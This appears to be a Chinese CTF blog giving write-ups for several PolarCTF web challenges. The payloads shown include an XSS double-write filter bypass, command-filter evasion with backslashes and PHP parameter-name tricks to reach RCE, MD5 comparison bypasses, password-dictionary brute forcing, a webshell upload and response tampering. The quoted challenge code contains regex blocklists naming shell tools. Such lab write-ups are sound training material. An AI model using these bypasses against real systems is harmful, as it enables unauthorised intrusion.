(1)XXS(弹窗)

(2)双写绕过

题目来源:polarctf-web-[来个弹窗]

image-20250429082809998

解题:

尝试弹窗

javascript
<script>alert(1);</script>

image-20250429082922707

全部被过滤了,先尝试双写<

javascript
<<script>alert(1);</script>

image-20250429083039237

再尝试双写script

<<sscriptcript>alert(1);</script>

image-20250429083130674

image-20250429083147657

该角色是白金之星,计算其md5值提交即可

35.题目:[0e事件]

考点:

特殊md5值

题目来源:polarctf-web-[0e事件]

image-20250429083630459

解题:

根据题意上传一个特殊的字符串240610708,其md5值以0e开头

image-20250429083701803

36.题目:[rapyiquan]

考点:

(1)PHP 的参数名转换规则、Shell解析特性

(2)过滤

(3)RCE

题目来源:polarctf-web-[rapyiquan]

image-20250506114303046

解题:

代码审计

php
 <?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI'];	# 检测请求url,不能含有"_"
function checkUrlParams($params) {
        if (strpos($params, '_') !== false) {
            return false;
        }
    return true;
}

if(checkUrlParams($url)){
    $cmd=$_GET['c_md'];
    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {	# 过滤
        echo("badly!");
    } else {
        echo `$cmd`;	# RCE
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}

PHP 的参数名转换规则

PHP 对于传入的 GET/POST 参数名有以下自动转换规则:

  • 方括号 [ ] 会被转换为下划线 _,例如:c[mdc_md
  • 空格会被转换为下划线 例如:c mdc_md
  • 点号 . 也会被转换为下划线 例如:c.mdc_md

Shell解析特性

在Unix/Linux shell环境中,反斜杠(\)有以下特性:

  • 当反斜杠后面跟着一个普通字符时,反斜杠通常会被忽略
  • l\s → shell解析时会去掉反斜杠 → 变成 ls

这里我使用[绕过_,即用c[md代替c_md,而ls也被过滤了,故使用l\s进行绕过

?c[md=l\s /

image-20250506115728845

查看flag

image-20250506120245701

查看源码得到flag

image-20250506120321754

37.狗黑子的RCE

考点:

(1)过滤

(2)RCE

题目来源:polarctf-web-[狗黑子的RCE]

image-20250506121408094

解题:

代码审计

php
 <?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');


    $gouheizi1=$_GET['gouheizi1'];
    $gouheizi2=$_POST['gouheizi2'];
    $gouheizi2=str_replace('gouheizi', '', $gouheizi2);	# 过滤gouheizi2值中的gouheizi

    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {	# 过滤
        echo("badly!");
        exit;
    } 
    if($gouheizi2==="gouheizi"){
        system($gouheizi1);	# rce
    }else{
        echo "gouheizi!";
    }
?>
gouheizi!
?gouheizi1=l\s /
gouheizi2=ggouheiziouheizi	# 双写绕过

image-20250506121657593

查看flag

?gouheizi1=c\at /f\lag.php

image-20250506121800329

38.简单的导航站

考点:

(1)md5强比较

(2)字典爆破

题目来源:polarctf-web-[简单的导航站]

image-20250506124351342

解题:

随便注册一个账号,然后登录

image-20250506130908221

点击"查看用户列表"

image-20250506131002409

md5强比较,用数组绕过,得到用户名列表字典

123456 123456789 123123 111111 anhyeuem 1234567 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 P0la2adm1n a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh User john admin alice bob administrator user wackopicko adam sample 123456 Password password 12345678 qwerty 12345 letmein 1234567 football iloveyou admin welcome monkey login abc123 starwars dragon passw0rd p@ssword p@ssw0rd master hello freedom whatever qazwsx trustno1
?user1[]=1&user2[]=2

image-20250506131112133

回到这个页面,查看源码找到密码Admin1234!

image-20250506131234016

image-20250506131301781

抓包管理员登录请求,给用户名添加上payload

image-20250506133936506

把字典复制上去

image-20250506134018800

# 把得到的字典换成一行一个,爆破备用
def replace_spaces_with_newlines(input_string):
    """
    将字符串中的空格替换为换行符

    参数:
        input_string (str): 包含空格的输入字符串

    返回:
        str: 空格被替换为换行符的字符串
    """
    return input_string.replace(' ', '\n')


# 你提供的密码列表
password_list = """123456 123456789 123123 111111 anhyeuem 1234567 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 P0la2adm1n a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh User john admin alice bob administrator user wackopicko adam sample 123456 Password password 12345678 qwerty 12345 letmein 1234567 football iloveyou admin welcome monkey login abc123 starwars dragon passw0rd p@ssword p@ssw0rd master hello freedom whatever qazwsx trustno1"""

# 处理密码列表
processed_list = replace_spaces_with_newlines(password_list)

# 打印结果
print(processed_list)

# 可选:将结果保存到文件
with open('password_list.txt', 'w', encoding='utf-8') as f:
    f.write(processed_list)
123456
123456789
123123
111111
anhyeuem
1234567
12345678
000000
asdasd
25251325
1234567890
121212
123321
zxcvbnm
qweqwe
456789
112233
aaaaaa
123123123
987654321
11111111
qwerty
147258369
maiyeuem
123qwe
654321
iloveyou
123654
999999
qqqqqq
1111111
147258
hota407
anhtuan
222222
159753
11223344
anhnhoem
anh123
159357
qwertyuiop
asd123
987654321
emyeuanh
mmmmmm
12345
666666
anhanh
123789
phuong
111222
qweasd
hanoiyeudau
nguyen
789456
1111111111
mylove
789456123
19001560
qwe123
asdfghjkl
pppppp
anhhung
1234560
abc123
maiyeu
123456a
zzzzzz
quangninh
987654
555555
tuananh
asasas
asdfgh
zxcvbn
321321
tinhyeu
147852369
456123
matkhau
147852
12345678910
thienthan
nikel
anhyeu
111111111
toilatoi
10cham0
147258369
456456
khongbiet
789789
P0la2adm1n
a123456
333333
888888
123654789
truong
maimaiyeuem
hhhhhh
User
john
admin
alice
bob
administrator
user
wackopicko
adam
sample
123456
Password
password
12345678
qwerty
12345
letmein
1234567
football
iloveyou
admin
welcome
monkey
login
abc123
starwars
dragon
passw0rd
p@ssword
p@ssw0rd
master
hello
freedom
whatever
qazwsx
trustno1

点击"开始攻击",得到管理员正确的用户名和密码

username=P0la2adm1n&password=Admin1234!

image-20250506134250924

登录

image-20250506134411599

查看源码,可上传txt后缀文件

image-20250506134457926

上传后缀txt的木马文件,抓包改后缀

image-20250506135016129

image-20250506135035963

上传成功,用御剑进行目录扫描,扫到uploads目录,猜测木马上传到该目录下

image-20250506135103223

image-20250506135213596

用蚁剑连接,找到flag字典

flag{I6uQcqEnBeLSkaiiO7Jj}
flag{DdVfhGznB7jKIN3aEsIG}
flag{3PyIEGNacI2P4kXCMq0t}
flag{JAAe9i4jvika1cASV7Nf}
flag{B4iOY9RSC3Ijc3H7JnWu}
flag{dkeUibYmmgJuEhWI60MW}
flag{Ouj1q1mIvxhRrue6lxH6}
flag{T4PwCg1RrQNsO4EcrQmU}
......

image-20250506135233023

点击"Flag认证系统"

image-20250506135326006

image-20250506135357266

抓包字典爆破

image-20250506135840004

image-20250506135858126

image-20250506135914476

这条认证成功,即为flag:flag{T4PwCg1RrQNsO4EcrQmU}

39.background

考点:

  1. RCE
  2. http协议

题目来源:polarctf-web-[background]

image-20250608163722751

解题:

点击按钮后没反应,f12查看网络流量包,观察到存在一个可疑jsscript.js

image-20250608170840368

访问script.js

javascript
document.getElementById("change-bg-btn").onclick = function() {	# 给change-bg-btn元素绑定点击事件
    fetch("change_background.php", {	# 点击后向"change_background.php"页面发送请求
        method: "POST",	# 请求方式
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',	# 请求头,表示为表单格式
        },
        body: new URLSearchParams({	# 请求体包含两个参数,根据默认值猜测为命令执行
            d: "echo",
            p: "I will do it!"
        })
    })
    .then(response => response.text())
    .then(text => {
        const lines = text.split('\n');
        const background = lines[0];     // 第一行是背景图路径
        const message = lines.slice(1).join('\n');  // 其余是输出信息

        document.body.style.backgroundImage = `url(${background})`;
        document.getElementById("result").innerText = message;

根据审计进行payload构造

屏幕截图2025-06-08171539

看到根目录下存在flag,直接查看,获得flag

image-20250608171749934

最终flag

txt
flag{cc59f02fd69119d043f8b06d0ab3eb3f}

40.井字棋

考点:

http协议

题目来源:[polarctf]-web-[井字棋]

image-20250609161849323

解题:

抓包发现传递了json数据{"winner":"ai"}

屏幕截图2025-06-09162215.png

猜测游戏机制根据这个json判断胜负,查看源码,发现有两种玩家:playerai

屏幕截图2025-06-09162458

将胜利者改为player,发包得到flag

image-20250609162656359

最终flag

flag{288CCA1ADB228E10EED4BFD85AC544B8}

滇ICP备2025057983号-1